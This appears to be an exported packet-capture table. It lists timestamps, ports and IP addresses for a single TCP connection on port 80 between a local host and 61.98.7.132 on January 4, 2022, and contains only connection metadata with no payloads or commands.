Jan 4, 2022 19:33:38.034852982 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034890890 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034930944 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034944057 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.034946918 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.034970999 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.035007954 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.035046101 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.035053015 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.035057068 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.035085917 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.035124063 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.035162926 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.035206079 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.035209894 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.036763906 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.036804914 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.036885977 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.075593948 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.075639009 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.075683117 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.075721979 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.075848103 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.304423094 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304456949 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304477930 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304498911 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304519892 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304534912 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304555893 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304572105 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304580927 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.304588079 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304601908 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.304605007 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.304614067 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304636002 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304636002 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.304657936 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304680109 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304699898 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304701090 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.304729939 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304754972 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304757118 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.304760933 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.304779053 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304801941 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304825068 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304863930 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304909945 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.304913998 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.304936886 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304961920 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.304986000 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305010080 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305023909 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305032969 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305057049 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305066109 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305068970 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305082083 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305105925 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305130005 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305154085 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305152893 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305159092 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305180073 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305205107 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305227995 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305252075 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305252075 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305275917 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305299997 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305299997 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305304050 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305324078 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305347919 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305372000 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305396080 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305398941 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305403948 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305422068 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305447102 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305468082 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305488110 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305491924 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305495977 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305510044 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305532932 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305552959 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305563927 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305577040 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305600882 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305622101 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305632114 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305635929 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305645943 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305670023 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305692911 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305711031 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305716038 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305740118 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305766106 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305766106 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305771112 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305789948 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305814028 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305830956 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305838108 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305861950 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305885077 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305895090 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305910110 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305923939 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305933952 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305954933 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.305960894 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.305984974 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306006908 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306031942 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306056023 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306056976 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.306080103 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306103945 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306106091 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.306109905 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.306128979 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306153059 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306175947 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306183100 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.306202888 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306221962 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306222916 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.306246042 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306269884 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306273937 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.306296110 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306298971 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.306318998 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306344032 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306365013 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306389093 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.306389093 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306394100 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.306415081 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306437016 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306463003 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306468964 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.306487083 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306512117 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306516886 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.306535959 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.306535959 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306560993 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306585073 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306600094 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.306610107 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306633949 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306655884 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.306689978 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.306694984 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.345156908 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.345199108 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.345223904 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.345247984 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.345272064 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.345293045 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.345300913 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.345312119 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.345324993 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.345328093 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.345398903 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.576256037 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576289892 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576312065 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576333046 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576354027 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576374054 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576395988 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576416969 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576421022 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.576442957 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576442957 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.576468945 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576491117 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.576493979 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576519012 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576539040 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576559067 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576567888 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.576571941 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.576582909 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576605082 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576627016 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576647997 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576653957 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.576658010 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.576672077 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576694012 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576713085 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576735973 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576756954 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576766968 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.576771021 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.576780081 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576801062 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576826096 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576827049 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.576831102 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.576870918 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576885939 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.576894999 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576916933 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576937914 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576958895 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.576980114 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577002048 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577003956 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577008963 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577023983 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577045918 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577066898 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577075958 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577081919 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577089071 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577111006 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577131033 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577151060 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577166080 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577171087 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577173948 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577199936 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577223063 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577243090 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577254057 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577258110 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577265024 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577287912 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577308893 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577330112 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577346087 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577349901 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577351093 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577375889 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577397108 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577419043 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577420950 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577425003 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577441931 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577466011 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577486992 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577490091 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577508926 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577531099 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577553034 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577574968 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577574968 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577579975 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577601910 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577624083 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577645063 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577646971 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577668905 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577692032 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577692986 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577697992 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577714920 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577739954 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577763081 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577785969 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577786922 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577790976 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577809095 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577831984 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577855110 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577878952 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577887058 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577892065 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577902079 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577924967 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577946901 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577967882 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.577987909 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577992916 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.577992916 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578017950 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578038931 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578062057 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578063011 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578066111 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578083992 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578105927 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578129053 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578150988 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578157902 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578161955 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578174114 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578197002 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578218937 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578242064 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578260899 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578263998 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578265905 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578289032 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578313112 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578334093 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578336000 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578337908 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578358889 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578382015 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578402996 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578423023 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578424931 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578427076 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578449011 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578470945 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578494072 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578516006 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578520060 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578528881 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578540087 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578557014 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578572035 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578594923 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578618050 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578639984 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578664064 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578665972 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578670979 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578686953 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578707933 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578731060 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578752995 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578774929 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578774929 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578779936 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.578799009 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578819990 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.578838110 CET	49839	80	192.168.2.5	61.98.7.132
